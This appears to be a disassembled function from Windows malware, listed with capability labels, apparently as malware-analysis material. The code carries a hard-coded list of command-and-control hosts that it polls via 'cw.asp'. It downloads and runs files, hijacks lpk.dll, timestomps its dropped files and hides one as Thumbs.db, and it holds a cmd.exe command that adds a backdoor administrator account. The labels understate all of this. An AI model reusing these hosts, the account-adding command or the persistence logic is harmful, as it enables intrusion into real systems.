Function at 0x100048c5
Capabilities:
Get common file path
Get file version info
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x4cfc
call fcn.100123e0
push ebx
push esi
push edi
xor ebx, ebx
push 0x104
lea eax, [ebp - 0x114]
push ebx
push eax
call fcn.100118e0
mov edi, 0x12c
lea eax, [ebp - 0x240]
push edi
push ebx
push eax
call fcn.100118e0
add esp, 0x18
mov esi, 0x100
lea eax, [ebp - 0x240]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea eax, [ebp - 0x240]
push eax
call fcn.10011ee0
cmp byte [ebp + eax - 0x241], 0x5c
pop ecx
jne 0x1000493d
lea eax, [ebp - 0x240]
push eax
call fcn.10011ee0
pop ecx
mov byte [ebp + eax - 0x241], bl
lea eax, [ebp - 0x240]
push eax
lea eax, [ebp - 0x114]
push str._sLpk.dll
push eax
call fcn.10011f5b
lea eax, [ebp - 0x240]
push 0x1002199c
push eax
call fcn.10011e00
add esp, 0x14
lea eax, [ebp - 0x114]
push eax
call dword [0x10026970]
cmp eax, 0xffffffff
jne 0x100049be
push 0x104
lea eax, [ebp - 0x114]
push ebx
push eax
call fcn.100118e0
add esp, 0xc
lea eax, [ebp - 0x240]
push eax
call dword [0x10026970]
cmp eax, 0xffffffff
jne 0x100049a9
push 0x100269c8
jmp 0x100049b0
lea eax, [ebp - 0x240]
push eax
lea eax, [ebp - 0x114]
push eax
call fcn.10011df0
pop ecx
pop ecx
push edi
lea eax, [ebp - 0x470]
push ebx
push eax
call fcn.100118e0
add esp, 0xc
lea eax, [ebp - 0x470]
push eax
push esi
call dword [0x100270bc]
lea eax, [ebp - 0x470]
push eax
call fcn.10011ee0
cmp byte [ebp + eax - 0x471], 0x5c
pop ecx
jne 0x10004a08
lea eax, [ebp - 0x470]
push eax
call fcn.10011ee0
pop ecx
mov byte [ebp + eax - 0x471], bl
push edi
lea eax, [ebp - 0x59c]
push ebx
push eax
call fcn.100118e0
add esp, 0xc
lea eax, [ebp - 0x59c]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x59c]
push eax
call fcn.10011ee0
cmp byte [ebp + eax - 0x59d], 0x5c
pop ecx
jne 0x10004a52
lea eax, [ebp - 0x59c]
push eax
call fcn.10011ee0
pop ecx
mov byte [ebp + eax - 0x59d], bl
push esi
push ebx
push 0x10026314
call fcn.100118e0
push 0x400
lea eax, [ebp - 0xcfc]
push ebx
push eax
call fcn.100118e0
mov esi, 0xc00
lea eax, [ebp - 0x18fc]
push esi
push ebx
push eax
call fcn.100118e0
push esi
lea eax, [ebp - 0x24fc]
push ebx
push eax
call fcn.100118e0
push 0x10025f3c
push 0x10027628
mov esi, 0x1002694c
push 0x1002697c
push esi
lea eax, [ebp - 0xcfc]
push str.ids__side_pos__spoe_jjs__sjje_bbs__sbbe_
push eax
call fcn.10011f5b
add esp, 0x48
lea eax, [ebp - 0xcfc]
push eax
lea eax, [ebp - 0x18fc]
push eax
call fcn.10001569
lea eax, [ebp - 0x18fc]
push eax
push esi
lea eax, [ebp - 0x24fc]
push str.yxhostwjm_sss_s
push eax
call fcn.10011f5b
push 0x47
mov esi, str.mail.lx360.cn:80_www.x0086.com:80_info.cnbb.com.cn:80_www.powerise.com.cn:80_etop_dalts.com:80_ent.sooyuu.com:80_www.tqtravel.com:80_www.hfi163.com:80_222.231.3.71:80_www.fongfeifei.com.cn:80_www.reg114.com:80_www.zhengtai.org:80_www.fdsa432fsat432Os.com:80_www.fdsa432asat432Os.com:80
pop ecx
lea edi, [ebp - 0x8fc]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea eax, [ebp - 0x8fc]
push 0x2c
movsb byte es:[edi], byte [esi]
push eax
lea edi, [ebp - 0x8fc]
call fcn.10012320
mov esi, 0x2800
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x4cfc]
push ebx
push eax
call fcn.100118e0
add esp, 0x2c
cmp dword [ebp - 4], ebx
je 0x10004bf5
push 0x2c
push edi
call fcn.10012320
pop ecx
cmp eax, ebx
pop ecx
mov dword [ebp - 4], eax
je 0x10004b42
mov byte [eax], bl
push esi
lea eax, [ebp - 0x4cfc]
push ebx
push eax
call fcn.100118e0
push 0x3a
push edi
mov dword [ebp - 8], 0x50
call fcn.10012320
add esp, 0x14
cmp eax, ebx
je 0x10004b78
mov byte [eax], bl
push 0xa
inc eax
push ebx
push eax
call fcn.1001320c
add esp, 0xc
mov dword [ebp - 8], eax
lea eax, [ebp - 0x4cfc]
push esi
push eax
lea eax, [ebp - 0x24fc]
push eax
push str.cw.asp
push dword [ebp - 8]
push edi
call fcn.10001c94
lea eax, [ebp - 0x4cfc]
push eax
call fcn.1001b726
lea eax, [ebp - 0x4cfc]
push str.urls:
push eax
call fcn.10012290
add esp, 0x24
test eax, eax
je 0x10004be7
lea eax, [ebp - 0x4cfc]
push 0x10021d2c
push eax
call fcn.10012290
pop ecx
test eax, eax
pop ecx
je 0x10004be7
lea eax, [ebp - 0x4cfc]
push str.exit
push eax
call fcn.10012290
pop ecx
test eax, eax
pop ecx
jne 0x10004bf5
mov eax, dword [ebp - 4]
cmp eax, ebx
lea edi, [eax + 1]
jne 0x10004b2f
lea eax, [ebp - 0x4cfc]
mov esi, 0x10026b00
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
push str.urls:
inc eax
push eax
call fcn.10012290
pop ecx
cmp eax, ebx
pop ecx
mov dword [ebp - 0xc], eax
je 0x10004f82
push 0x10021d2c
push eax
call fcn.10012290
mov edi, eax
pop ecx
cmp edi, ebx
pop ecx
je 0x10004f82
push str.exit
push edi
call fcn.10012290
pop ecx
cmp eax, ebx
pop ecx
mov dword [ebp - 8], eax
je 0x10004f82
mov byte [eax], bl
lea eax, [edi - 8]
push str.qingli
push eax
mov byte [edi], bl
call fcn.10012290
pop ecx
test eax, eax
pop ecx
jne 0x10004f94
lea eax, [edi - 9]
push str.wwwroot
push eax
call fcn.10012290
pop ecx
test eax, eax
pop ecx
je 0x10004c8f
push ebx
push str.cmd.exe__c_net_user_tjg__kincom000__addnet_localgroup_administrators__add_tjg_
call dword [0x10025d54]
jmp 0x10004c03
push 0x140
lea eax, [ebp - 0x6dc]
push ebx
push eax
call fcn.100118e0
lea eax, [edi - 6]
push eax
lea eax, [ebp - 0x470]
push eax
lea eax, [ebp - 0x6dc]
push str._s_s
push eax
call fcn.10011f5b
lea eax, [edi - 4]
push 0x10021cb8
push eax
mov dword [ebp - 0x10], eax
call fcn.10012290
add esp, 0x24
test eax, eax
je 0x10004d12
push 0x100
lea eax, [ebp - 0x7dc]
push ebx
push eax
call fcn.100118e0
lea eax, [ebp - 0x7dc]
push eax
lea eax, [ebp - 0x6dc]
push eax
call fcn.10001e8b
add edi, 3
lea eax, [ebp - 0x7dc]
push edi
push eax
mov dword [ebp - 4], edi
call fcn.10012c40
add esp, 0x1c
jmp 0x10004d25
add edi, 3
push edi
push 0x10025f3c
mov dword [ebp - 4], edi
call fcn.10012c40
pop ecx
pop ecx
test eax, eax
je 0x10004c03
mov edi, 0x104
lea eax, [ebp - 0x344]
push edi
push ebx
push eax
call fcn.100118e0
add esp, 0xc
lea eax, [ebp - 0x344]
push ebx
push ebx
push edi
push eax
mov eax, dword [ebp - 0xc]
add eax, 5
push eax
push ebx
call dword [0x10028870]
mov edi, 0x10026314
lea eax, [ebp - 0x344]
push edi
push eax
call fcn.10001e8b
push dword [ebp - 4]
push edi
call fcn.10012c40
add esp, 0x10
test eax, eax
je 0x10004d8f
lea eax, [ebp - 0x344]
push eax
call fcn.10012bf1
pop ecx
jmp 0x10004c03
push 0x10021cb8
push dword [ebp - 0x10]
call fcn.10012290
pop ecx
test eax, eax
pop ecx
je 0x10004dd5
lea eax, [ebp - 0x6dc]
push eax
call fcn.10012bf1
pop ecx
lea eax, [ebp - 0x6dc]
push 1
push eax
lea eax, [ebp - 0x344]
push eax
call dword [0x1002886c]
lea eax, [ebp - 0x344]
push ebx
push eax
call dword [0x10025d54]
jmp 0x10004d7d
mov edi, 0x100269c8
push edi
call dword [0x10026970]
cmp eax, 0xffffffff
jne 0x10004e0a
push 0x100261f0
call dword [0x10026970]
cmp eax, 0xffffffff
jne 0x10004dfd
push 0x10028880
jmp 0x10004e02
push 0x100261f0
push edi
call fcn.10011df0
pop ecx
pop ecx
push ebx
push 0x10026f84
call dword [0x100261e0]
push 0x10026f84
call fcn.10012bf1
mov dword [esp], 0x10026f84
call dword [0x10026970]
cmp eax, 0xffffffff
jne 0x10004e3f
push 0x10026f84
push edi
call fcn.10012ebd
pop ecx
pop ecx
push 0x10026f84
call fcn.10012bf1
push edi
call fcn.10012bf1
pop ecx
lea eax, [ebp - 0x344]
pop ecx
push 1
push edi
push eax
call dword [0x1002886c]
push ebx
push 0x2000000
push 3
push ebx
push 5
push 0xc0000000
push edi
call dword [0x10026b14]
push esi
push esi
push esi
push eax
mov dword [0x10028874], eax
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push dword [0x10028874]
call dword [0x10027688]
push dword [0x10021088]
push edi
call dword [0x100261e0]
lea eax, [ebp - 0x240]
push str...Thumbs.db
push eax
call fcn.10011e00
pop ecx
lea eax, [ebp - 0x240]
pop ecx
push ebx
push eax
call dword [0x100261e0]
lea eax, [ebp - 0x240]
push eax
call fcn.10012bf1
pop ecx
lea eax, [ebp - 0x240]
push eax
call dword [0x10026970]
cmp eax, 0xffffffff
jne 0x10004ef5
lea eax, [ebp - 0x240]
push eax
lea eax, [ebp - 0x114]
push eax
call fcn.10012ebd
pop ecx
pop ecx
lea eax, [ebp - 0x240]
push eax
call fcn.10012bf1
lea eax, [ebp - 0x114]
push eax
call fcn.10012bf1
pop ecx
lea eax, [ebp - 0x114]
pop ecx
push 1
push eax
lea eax, [ebp - 0x344]
push eax
call dword [0x1002886c]
push ebx
push 0x2000000
push 3
push ebx
push 5
lea eax, [ebp - 0x114]
push 0xc0000000
push eax
call dword [0x10026b14]
push esi
push esi
push esi
push eax
mov dword [0x10028874], eax
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push dword [0x10028874]
call dword [0x10027688]
push dword [0x10021088]
lea eax, [ebp - 0x114]
push eax
call dword [0x100261e0]
lea eax, [ebp - 0x344]
push eax
call fcn.1000474e
pop ecx
jmp 0x10004d7d
lea eax, [ebp - 0x114]
push eax
call fcn.1000474e
pop ecx
pop edi
pop esi
pop ebx
leave
ret
call fcn.1000462d
push ebx
call fcn.1001310a